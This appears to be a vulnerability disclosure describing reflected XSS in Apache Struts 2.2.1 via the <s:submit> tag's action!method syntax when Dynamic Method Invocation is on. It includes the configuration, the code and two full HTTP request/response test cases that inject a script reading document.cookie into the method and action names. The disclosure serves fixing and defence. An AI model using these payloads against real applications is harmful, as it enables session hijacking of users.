Details
Major Description
Reflected XSS attacks can be performed on applications using Struts 2.2.1 (with XWork 2.2.1) via <s:submit> tag when the following conditions are met:
- no declarative error handling rule is defined in struts.xml with <global-exception-mappings> AND
- Dynamic Method Invocation is enabled (this is enabled by default) AND
- bash syntax is used in JSP via <s:submit> tag for calling Struts actions and methods AND (
- the called method is not defined in the action implementation class OR
- the called action is not matching one already defined in struts.xml )
Thus, a custom error page is generated by Struts/XWork (most likely the last one) for rendering such errors. Due to the lack of output encoding for either action or method passed via <s:submit> tag using bash syntax, reflected XSS can be performed by injecting malicious scripting code into both the invoked action and method.
Relevant Struts configuration, Java and JSP code is provided below, as well as two test cases showing the reflected XSS issues in Struts/XWork generated error page.
1. Configuration
1.1 struts.xml
NOTE: action cantlogin is used for subsequent tests
<?xml version="1.0" encoding="UTF-8" ?>
<!DOCTYPE struts PUBLIC
"-//Apache Software Foundation//DTD Struts Configuration 2.0//EN"
"http://struts.apache.org/dtds/struts-2.0.dtd">
<struts>
<constant name="struts.devMode" value="false" />
<constant name="struts.i18n.encoding" value="UTF-8" />
<constant name="struts.codebehind.pathPrefix" value="/WEB-INF/pages/" />
<constant name="struts.action.extension" value="html" />
<constant name="struts.ui.theme" value="simple"/>
<constant name="struts.custom.i18n.resources" value="ErrorCodes,ApplicationResources" />
<constant name="struts.multipart.maxSize" value="26214400"/>
<!-- Include Struts defaults -->
<include file="struts-default.xml" />
<!-- Configuration for the default package. -->
<package name="default" extends="struts-default">
...
<global-results>
<result name="login" type="redirectAction">home</result>
<result name="sslError">/error.jsp</result>
</global-results>
...
<action name="login" class="some_path.action.LoginAction">
<param name="fieldSetNames">...</param>
<result name="input">/WEB-INF/pages/home.jsp</result>
<result name="error">/WEB-INF/pages/home.jsp</result>
<result name="cantlogin" type="redirectAction">
<param name="actionName">cantlogin</param>
<param name="userId">${userId}</param>
</result>
<result name="proceed" type="redirect">landing.html</result>
</action>
</package>
</struts>
1.2 checking for Dynamic Method Invocation in the Struts 2.2.1 source code (struts2-core-2.2.1-sources.jar), the DMI setting is set to true in default.properties
struts.enable.DynamicMethodInvocation = true
2. Code
2.1 LoginAction.java
package some_path.action;
...
public class LoginAction extends BaseAction {
public static final String CANTLOGIN = "cantlogin";
...
public String cantLogin(){
String returnType = ERROR;
try
catch (CException ce)
{ setMessage(getText(ce.getErrorCode().trim())); }catch (Exception e) { setMessage(getText("ERR_GENERIC")); }return returnType;
}
public String doLogin() {
String returnType = ERROR;
try { ... } catch (CException ce) { setMessage(getText(ce.getErrorCode().trim())); }
catch (Exception e)
{ setMessage(getText("ERR_GENERIC")); } return returnType;
}
}
2.2 login.jsp
<!DOCTYPE html PUBLIC "-// W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<%@ include file="/common/taglibs.jsp"%>
<html xmlns="http://www.w3.org/1999/xhtml">
<head>
...
</head>
<body>
...
<form name="loginform" id="loginform" method="post" action="">
...
<s:submit action="login" method="doLogin" name="signin" key="sign.in" cssClass="login-submit" theme="simple" />
<s:submit action="login" method="cantLogin" name="cantlogin" key="cant.login" cssClass="cant-login right" theme="simple" />
</form>
...
</body>
</html>
NOTE: For the tests detailed in section 3, <s:submit > tag is used to call cantLogin method of LoginAction class.
In HTML code this is rendered using the bash syntax as shown below:
...
<input type="submit" id="cantlogin" name="action:login!cantLogin" value="Can't login" class="cant-login right"/>
</div>
</form>
...
3. XSS Tests
3.1 passing in a nonexisting method cantLogin<script>alert(document.cookie)</script>
HTTP request:
POST http://test.app.net/home.html HTTP/1.1
Accept: image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, application/x-shockwave-flash, application/xaml+xml, application/vnd.ms-xpsdocument, application/x-ms-xbap, application/x-ms-application, /
Referer: http://test.app.net/home.html
Accept-Language: en
Content-Type: application/x-www-form-urlencoded
UA-CPU: x86
Accept-Encoding: gzip, deflate
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.1.4322; .NET CLR 2.0.50727; .NET CLR 3.0.04506.30; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729)
Proxy-Connection: Keep-Alive
Host: test.app.net
Pragma: no-cache
Cookie: JSESSIONID=pqghNp0cQb46PcrgY6SL4nG9GnFq9bDpq7L6Vyk4nsV8sQjd01Gc!1161154239
Content-Length: 112
USER_ID=&PASSWORD=&action%3Alogin%21cantLogin<script>alert(document.cookie)</script>=Can%27t+login
HTTP response:
HTTP/1.1 500 Internal Server Error
Date: Fri, 18 Feb 2011 18:16:51 GMT
Content-Type: text/html; charset=UTF-8
Content-Length: 97
Proxy-Connection: Keep-Alive
Connection: Keep-Alive
Set-Cookie: ACE-Insert=R4124232031; path=/
Age: 0
some_path.action.LoginAction.cantLogin<script>alert(document.cookie)</script>()
NOTE 1: Without proper output escaping for the invoked method (which is controlled by the user), the injected scripting code will be executed by the browser (the HTTP response's content-type header is set to text/html).
This allows successful reflected XSS attacks using <s:submit> tag.
NOTE 2: the returned error also exposes internal paths for the Java class implementing the action for which we manipulate the method to be called (LoginAction in this case).
3.2 passing in a nonexistent action login<script>alert(document.cookie)</script>
HTTP request:
POST http://test.app.net/home.html HTTP/1.1
Accept: image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, application/x-shockwave-flash, application/xaml+xml, application/vnd.ms-xpsdocument, application/x-ms-xbap, application/x-ms-application, /
Referer: http://test.app.net/home.html
Accept-Language: en
Content-Type: application/x-www-form-urlencoded
UA-CPU: x86
Accept-Encoding: gzip, deflate
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.1.4322; .NET CLR 2.0.50727; .NET CLR 3.0.04506.30; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729)
Proxy-Connection: Keep-Alive
Host: test.app.net
Pragma: no-cache
Cookie: JSESSIONID=pqghNp0cQb46PcrgY6SL4nG9GnFq9bDpq7L6Vyk4nsV8sQjd01Gc!1161154239
Content-Length: 112
USER_ID=&PASSWORD=&action%3Alogin<script>alert(document.cookie)</script>%21cantLogin=Can%27t+login
HTTP response:
HTTP/1.1 404 Not Found
Date: Fri, 18 Feb 2011 18:21:33 GMT
Content-Type: text/html; charset=UTF-8
X-GMS-SVR: wpFour
Content-Length: 103
Proxy-Connection: Keep-Alive
Connection: Keep-Alive
Set-Cookie: ACE-Insert=R4124232031; path=/
Age: 0
There is no Action mapped for namespace / and action name login<script>alert(document.cookie)</script>.
NOTE: Without proper output escaping for the invoked action (which is controlled by the user), the injected scripting code will be executed by the browser (the HTTP response's content-type header is set to text/html).
This allows successful reflected XSS attacks using <s:submit> tag.